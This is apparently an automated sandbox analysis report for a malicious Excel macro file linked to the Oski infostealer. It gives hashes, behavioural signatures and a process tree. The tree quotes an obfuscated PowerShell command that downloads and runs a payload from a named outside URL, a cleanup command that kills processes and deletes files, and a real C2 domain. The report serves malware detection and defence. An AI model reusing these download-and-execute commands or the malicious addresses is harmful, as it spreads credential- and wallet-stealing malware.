Analysis

  • max time kernel
    70s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    04/08/2021, 19:33

General

  • Target

    691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f.xlsm

  • Size

    13KB

  • MD5

    2be7123060d0a3294b6fabff5553da30

  • SHA1

    a62e852b641ff566c41ef49ffb60b2cff377acdc

  • SHA256

    691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f

  • SHA512

    d5fdf9eef61e3f498f268285870b38c679b9f692f5ac74b269688a20691da8c660c35dcb05f1ff3b6e3e2c30d4b39dc983ce71dc0d32b168d1b1a998ff750856

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://iurl.vip/3osyi

Extracted

Family

oski

C2

notedemo.axfree.com

Signatures

  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 1 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\DoFPS.exe
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
        3⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1804
        • C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
          "C:\Users\Admin\AppData\Local\Temp\DoFPS.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1552
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            5⤵
            • Loads dropped DLL
            • Checks processor information in registry
            • Suspicious use of WriteProcessMemory
            PID:360
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /pid 360 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe & RD /S /Q C:\\ProgramData\\491030034922458\\* & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1644
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /pid 360
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1744
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/3osyi',$env:Temp+'\DoFPS.exe')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1784

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/360-121-0x0000000000400000-0x0000000000438000-memory.dmp

          Filesize

          224KB

        • memory/360-124-0x0000000000400000-0x0000000000438000-memory.dmp

          Filesize

          224KB

        • memory/1200-60-0x000000002F9F1000-0x000000002F9F4000-memory.dmp

          Filesize

          12KB

        • memory/1200-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/1200-61-0x0000000071AD1000-0x0000000071AD3000-memory.dmp

          Filesize

          8KB

        • memory/1552-119-0x00000000048A0000-0x00000000048A1000-memory.dmp

          Filesize

          4KB

        • memory/1552-116-0x0000000001050000-0x0000000001051000-memory.dmp

          Filesize

          4KB

        • memory/1552-120-0x0000000000380000-0x0000000000385000-memory.dmp

          Filesize

          20KB

        • memory/1784-69-0x0000000000E10000-0x0000000000E11000-memory.dmp

          Filesize

          4KB

        • memory/1784-75-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

          Filesize

          4KB

        • memory/1784-65-0x00000000768B1000-0x00000000768B3000-memory.dmp

          Filesize

          8KB

        • memory/1784-78-0x0000000004AE2000-0x0000000004AE3000-memory.dmp

          Filesize

          4KB

        • memory/1784-79-0x00000000049D0000-0x00000000049D1000-memory.dmp

          Filesize

          4KB

        • memory/1804-73-0x00000000010E0000-0x00000000010E1000-memory.dmp

          Filesize

          4KB

        • memory/1804-105-0x00000000062A0000-0x00000000062A1000-memory.dmp

          Filesize

          4KB

        • memory/1804-88-0x0000000006050000-0x0000000006051000-memory.dmp

          Filesize

          4KB

        • memory/1804-89-0x00000000060B0000-0x00000000060B1000-memory.dmp

          Filesize

          4KB

        • memory/1804-97-0x0000000006280000-0x0000000006281000-memory.dmp

          Filesize

          4KB

        • memory/1804-93-0x000000007EF30000-0x000000007EF31000-memory.dmp

          Filesize

          4KB

        • memory/1804-71-0x0000000004900000-0x0000000004901000-memory.dmp

          Filesize

          4KB

        • memory/1804-83-0x0000000005670000-0x0000000005671000-memory.dmp

          Filesize

          4KB

        • memory/1804-76-0x0000000001110000-0x0000000001111000-memory.dmp

          Filesize

          4KB

        • memory/1804-77-0x0000000001112000-0x0000000001113000-memory.dmp

          Filesize

          4KB